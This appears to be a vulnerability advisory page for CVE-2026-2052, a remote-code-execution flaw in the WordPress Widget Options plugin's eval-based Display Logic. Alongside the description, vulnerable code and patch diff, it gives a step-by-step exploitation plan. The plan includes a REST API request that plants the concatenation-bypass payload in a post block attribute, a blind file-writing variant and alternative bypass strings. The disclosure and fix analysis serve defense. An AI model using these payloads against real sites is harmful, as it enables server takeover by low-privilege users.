CVE-2026-2052

Widget Options <= 4.2.2 - Authenticated (Contributor+) Remote Code Execution via Display Logic

highImproper Control of Generation of Code ('Code Injection')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.2.3
Patched in
1d
Time to patch

Description

The Widget Options – Advanced Conditional Visibility for Gutenberg Blocks & Classic Widgets plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.2.2 via the Display Logic feature. This is due to the plugin using eval() on user-supplied Display Logic expressions with an insufficient blocklist/allowlist that can be bypassed using array_map with string concatenation, combined with a lack of authorization enforcement on the extended_widget_opts_block attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server. The vulnerability was partially patched in version 4.2.0.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.2.2
PublishedMay 1, 2026
Last updatedMay 2, 2026
Affected pluginwidget-options

What Changed in the Fix

Changes introduced in v4.2.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-2052 (Widget Options RCE) ## 1. Vulnerability Summary The **Widget Options** plugin (up to 4.2.2) is vulnerable to Remote Code Execution (RCE) because it utilizes `eval()` to process "Display Logic" strings without adequate filtering. While the plugin attempts…

Show full research plan

Exploitation Research Plan: CVE-2026-2052 (Widget Options RCE)

1. Vulnerability Summary

The Widget Options plugin (up to 4.2.2) is vulnerable to Remote Code Execution (RCE) because it utilizes eval() to process "Display Logic" strings without adequate filtering. While the plugin attempts to block dangerous PHP functions, the blocklist is insufficient and can be bypassed using array_map combined with string concatenation (e.g., array_map('sys' . 'tem', ['id'])).

Crucially, the plugin registers a Gutenberg block attribute extended_widget_opts_block for all block types but fails to enforce proper authorization or sanitization on the logic property within this attribute. This allows users with Contributor-level permissions (who can create or edit posts) to inject arbitrary PHP code that executes when the block is rendered on the frontend.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (/wp-json/wp/v2/posts) or the Gutenberg editor save process.
  • Vulnerable Attribute: extended_widget_opts_block (specifically the logic sub-property).
  • Authentication: Authenticated (Contributor-level or higher).
  • Payload Carry: The payload is stored within the Gutenberg block metadata (JSON-encoded in the post_content).
  • Sink: eval() call within the plugin's logic evaluation engine (likely triggered during block rendering).

3. Code Flow

  1. Registration: In includes/widgets/gutenberg/gutenberg-toolbar.php, the plugin uses the register_block_type_args filter (Line 96) to add the extended_widget_opts_block attribute to almost all Gutenberg blocks.
  2. Injection: A Contributor user creates a post. The block's attributes are sent to the server. For example, a core/paragraph block is saved with an attribute: extended_widget_opts_block: { "logic": "payload" }.
  3. Storage: WordPress saves the block into post_content as:
    <!-- wp:paragraph {"extended_widget_opts_block":{"logic":"PAYLOAD"}} --><p>...</p><!-- /wp:paragraph -->
  4. Rendering: When any user (including unauthenticated visitors) views the post, WordPress parses the blocks.
  5. Execution: The plugin hooks into the block rendering process (e.g., render_block). It extracts the logic string from the extended_widget_opts_block attribute and passes it to the evaluation function (inferred to involve eval()).
  6. Bypass: The evaluation function checks for strings like system, but the payload array_map('p' . 'assthru', ['id']) bypasses the check because the literal string passthru does not appear in the source.

4. Nonce Acquisition Strategy

While the primary exploit involves a Contributor-level authenticated session, a WordPress REST API nonce (_wpnonce) is required to create or update posts via the API.

  1. Login: Authenticate as a Contributor.
  2. Retrieve Nonce: Navigate to the WordPress dashboard or a post editing page.
  3. Extraction: Use browser_eval to extract the REST nonce from the global wpApiSettings object.
    • Variable: window.wpApiSettings.nonce
  4. Alternative: If the REST API is not used, the nonce widgetopts-settings-nonce from ajax-functions.php (Line 31) might be relevant for settings, but for RCE, the Gutenberg block attribute path is more direct.

5. Exploitation Strategy

Step 1: Authentication and Environment Setup

  • Authenticate the session as a user with the Contributor role.
  • Verify that the "Display Logic" module is enabled (it usually is by default in the free version).

Step 2: Create a Malicious Post

Use the http_request tool to send a REST API request to create a post containing a block with the malicious logic.

  • URL: {{BASE_URL}}/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: {{REST_NONCE}}
  • Payload:
{
  "title": "Security Research",
  "content": "<!-- wp:paragraph {\"extended_widget_opts_block\":{\"logic\":\"array_map('p' . 'assthru', ['id']) || true\"}} -->\n<p>Verification block</p>\n<!-- /wp:paragraph -->",
  "status": "publish"
}

Note: Using || true ensures the eval() result returns true, so the block renders and the output is visible.

Step 3: Trigger the Execution

Capture the id of the created post from the JSON response of Step 2.

  • URL: {{BASE_URL}}/?p={{POST_ID}}
  • Method: GET

Step 4: Verification

Inspect the HTML response for the output of the id command (e.g., uid=33(www-data)).

6. Test Data Setup

  1. User: A user with username contributor_test and role contributor.
  2. Plugin Config: Ensure "Display Logic" is active. If not, an admin must activate it via Settings > Widget Options > Modules.
  3. Block Context: No specific shortcodes are required for the RCE itself, as the attribute is added to standard blocks like core/paragraph.

7. Expected Results

  • The REST API call should return 201 Created.
  • The GET request to the new post should contain the shell command output at the top or within the block's content area (depending on where the plugin's eval output is captured/echoed).
  • If passthru output is not directly visible in the HTML due to output buffering, use a blind payload: array_map('p' . 'assthru', ['touch wp-content/uploads/rce.txt']).

8. Verification Steps (Post-Exploit)

Using wp_cli:

  1. Check for the existence of a file created by the payload:
    wp eval "echo file_exists('wp-content/uploads/rce.txt') ? 'VULNERABLE' : 'SAFE';"
  2. Check the post content to ensure the attribute was saved correctly:
    wp post get {{POST_ID}} --field=post_content

9. Alternative Approaches

  • Snippet System: If Gutenberg attributes are blocked, check includes/snippets/class-snippets-admin.php. The plugin recently introduced a "Snippets" system for logic. A Contributor might be able to create a logic snippet (CPT widgetopts-snippets) that contains the same eval bypass.
  • Classic Widgets: If the site uses the Classic Editor/Widgets, the same payload can be injected into the widget instance data via widget_update_callback (referenced in gutenberg-toolbar.php Line 172).
  • Function Concatenation: If array_map is blocked, try:
    $f = 'sys' . 'tem'; $f('id');
    ('p' . 'assthru')('id'); (PHP 7+)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Widget Options plugin for WordPress is vulnerable to Remote Code Execution up to version 4.2.2 via its 'Display Logic' feature. Contributor-level users can inject arbitrary PHP code into Gutenberg block attributes, which the plugin then executes using eval() after failing to sufficiently validate the code for obfuscated or dynamic function calls.

Vulnerable Code

// includes/widgets/gutenberg/gutenberg-toolbar.php line 140
	} else {
		//if block type is not luckywp/tableofcontents use type object
		$args['attributes']['extended_widget_opts_block'] = array(
			'type' => 'object',
			'default' => (object)[]
		);

		$args['attributes']['extended_widget_opts'] = array(
			'type' => 'object',
			'default' => (object)[]
		);
	}

---

// includes/extras.php line 495
function widgetopts_safe_eval($expression)
{
    if (widgetopts_is_widget_or_post_preview()) {
        // Always return true for previews unless the user is an administrator
        if (!current_user_can('administrator')) {
            return true;
        }
    }

---

// includes/extras.php line 836
    foreach ($tokens as $index => $token) {
        if (is_array($token)) {
            $token_type = $token[0];
            $token_value = $token[1];

            // **Fix: Properly detect function calls inside conditions**
            if ($token_type === T_STRING) {
                $function_name = strtolower($token_value);
                $next_token = $tokens[$index + 1] ?? null;

                if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) {
                    if (!in_array($function_name, array_map('strtolower', $allowed_functions))) {
                        $is_safe = false;
                        break;
                    }
                }
            }
            // ... dynamic calls via variables or strings were not checked

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.2/includes/ajax-functions.php /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.3/includes/ajax-functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.2/includes/ajax-functions.php	2026-03-25 12:50:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.3/includes/ajax-functions.php	2026-04-24 08:09:42.000000000 +0000
@@ -28,6 +28,11 @@
 		return;
 	}
 
+	if (!current_user_can('manage_options')) {
+		wp_send_json_error('You do not have permission to manage settings.', 403);
+		exit;
+	}
+
 	switch ($_POST['method']) {
 		case 'activate':
 		case 'deactivate':
@@ -141,8 +146,14 @@
 	add_action('wp_ajax_widgetopts_hideRating', 'widgetopts_ajax_hide_rating');
 endif;
 
+
 function widgetopts_ajax_validate_expression()
 {
+	if (!current_user_can('manage_options')) {
+		wp_send_json_error('You do not have permission to validate expressions.', 403);
+		exit;
+	}
+	
 	if (!wp_verify_nonce($_POST['nonce'], 'widgetopts-expression-nonce')) {
 		echo json_encode(['response' => 'failed', 'message' => 'Security check failed. Please refresh the page and try again.']);
 		die();
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.2/includes/extras.php /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.3/includes/extras.php
--- /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.2/includes/extras.php	2026-03-25 12:50:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/widget-options/4.2.3/includes/extras.php	2026-04-24 08:09:42.000000000 +0000
@@ -495,8 +495,7 @@
 function widgetopts_safe_eval($expression)
 {
     if (widgetopts_is_widget_or_post_preview()) {
-        // Always return true for previews unless the user is an administrator
-        if (!current_user_can('administrator')) {
+        if (!current_user_can('manage_options')) {
             return true;
         }
     }
@@ -609,9 +608,20 @@
         'wordwrap',
 
         // Array Manipulation
+        'array_merge',
+        'array_diff',
+        'array_keys',
+        'array_values',
         'in_array', 
         'count', 
         'sizeof',
+        'array_slice',
+        'array_push',
+        'array_pop',
+        'array_intersect',
+        'array_unique',
+        'array_column',
+        'array_reverse',
 
         // Math Functions
         'abs',
@@ -684,8 +694,7 @@
         'pathinfo',
         'basename',
         'dirname',
-        'file_exists',
-        'readfile',
+        'file_exists'
     ];
 }
 
@@ -820,6 +829,28 @@
 }
 
 /**
+ * Return the nearest significant token relative to $index, skipping whitespace and comments.
+ *
+ * @param array $tokens  Token array from token_get_all().
+ * @param int   $index   Starting position.
+ * @param int   $dir     1 = look forward (next), -1 = look backward (prev).
+ * @return array|string|null The token, or null if none found.
+ */
+function widgetopts_adjacent_significant_token(array $tokens, int $index, int $dir)
+{
+    $skip  = [T_WHITESPACE, T_COMMENT, T_DOC_COMMENT];
+    $count = count($tokens);
+    for ($i = $index + $dir; $dir === 1 ? $i < $count : $i >= 0; $i += $dir) {
+        $t = $tokens[$i];
+        if (is_array($t) && in_array($t[0], $skip, true)) {
+            continue;
+        }
+        return $t;
+    }
+    return null;
+}
+
+/**
  * Validate PHP code against allowed functions and detect obfuscated calls.
  *
  * @param string $code The PHP code to validate.
@@ -836,19 +867,42 @@
 
     $tokens = token_get_all($code);
     $is_safe = true;
-    $last_token = null;
+
+    // Language constructs that are NOT T_STRING — the allowlist loop would silently skip them.
+    // T_EVAL / T_INCLUDE* / T_REQUIRE* are also caught by the regex in widgetopts_validate_expression,
+    // but blocking them here provides an independent second layer.
+    $forbidden_constructs = [T_EVAL, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_EXIT, T_GOTO];
 
     foreach ($tokens as $index => $token) {
         if (is_array($token)) {
-            $token_type = $token[0];
+            $token_type  = $token[0];
             $token_value = $token[1];
 
-            // **Fix: Properly detect function calls inside conditions**
-            if ($token_type === T_STRING) {
-                $function_name = strtolower($token_value);
-                $next_token = $tokens[$index + 1] ?? null;
+            // Block language constructs (eval, include, require, exit, goto).
+            // These produce dedicated token types, not T_STRING, so the allowlist
+            // check below would silently pass them.
+            if (in_array($token_type, $forbidden_constructs, true)) {
+                $is_safe = false;
+                break;
+            }
 
-                if ($next_token === '(' || (is_array($next_token) && $next_token[0] === T_WHITESPACE && ($tokens[$index + 2] ?? null) === '(')) {
+            // Detect function calls — skip non-significant tokens before '('
+            if ($token_type === T_STRING) {
+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+                if ($next === '(') {
+                    // Block method/static/nullsafe calls: $obj->func(), Class::func(), $obj?->func()
+                    // The identifier looks like an allowed function name but is actually a method —
+                    // the allowlist covers only direct (free) function calls.
+                    $prev = widgetopts_adjacent_significant_token($tokens, $index, -1);
+                    $method_ops = [T_OBJECT_OPERATOR, T_DOUBLE_COLON];
+                    if (defined('T_NULLSAFE_OBJECT_OPERATOR')) {
+                        $method_ops[] = T_NULLSAFE_OBJECT_OPERATOR; // PHP 8.0+ (?->)
+                    }
+                    if (is_array($prev) && in_array($prev[0], $method_ops, true)) {
+                        $is_safe = false;
+                        break;
+                    }
+                    $function_name = strtolower($token_value);
                     if (!in_array($function_name, array_map('strtolower', $allowed_functions))) {
                         $is_safe = false;
                         break;
@@ -856,22 +910,30 @@
                 }
             }
 
-            // **Fix: Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code**
+            // Detect if T_ENCAPSED_AND_WHITESPACE is being treated as code
             if ($token_type === T_ENCAPSED_AND_WHITESPACE) {
                 $is_safe = false;
                 break;
             }
 
-            // **Fix: Dynamic Function Execution (`$func()` or `['test']()`)**
+            // Dynamic call via variable or string literal: `$fn()` / `'func'()`
+            // Skip non-significant tokens between the token and '('
             if ($token_type === T_VARIABLE || $token_type === T_CONSTANT_ENCAPSED_STRING) {
-                $next_token = $tokens[$index + 1] ?? null;
-                if ($next_token === '(') {
+                $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+                if ($next === '(') {
                     $is_safe = false;
                     break;
                 }
             }
-
-            $last_token = $token;
+        } elseif ($token === ']' || $token === ')') {
+            // Subscript-then-call  `$arr['key']()`  and
+            // Concat-then-call     `('fi'.'le_put_contents')()`
+            // Skip non-significant tokens (whitespace / comments) before '('
+            $next = widgetopts_adjacent_significant_token($tokens, $index, 1);
+            if ($next === '(') {
+                $is_safe = false;
+                break;
+            }
         }
     }

Exploit Outline

The exploit target is an authenticated Contributor user who has access to create or edit posts via the Gutenberg editor or the WordPress REST API. 1. **Payload Creation**: The attacker crafts a PHP payload that bypasses simple function-name scanning. Since the plugin's validation logic up to 4.2.2 only checks for literal function names followed by parentheses (T_STRING followed by '('), a payload like `array_map('p' . 'assthru', ['id'])` or `('sys' . 'tem')('id')` will bypass the filter because the literal strings 'passthru' or 'system' do not appear as direct tokens followed by a parenthesis. 2. **Injection**: The attacker creates a new post and injects the payload into the `extended_widget_opts_block` attribute of any Gutenberg block (like `core/paragraph`). The payload is placed in the `logic` property of this attribute: `{"extended_widget_opts_block":{"logic":"array_map('p' . 'assthru', ['id']) || true"}}`. 3. **Execution**: Once the post is saved, the attacker (or any visitor) views the post. When WordPress renders the block, the Widget Options plugin extracts the `logic` string and executes it via `eval()`. Using `|| true` in the payload ensures the block remains visible in the browser, allowing the attacker to see the command output in the HTTP response.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.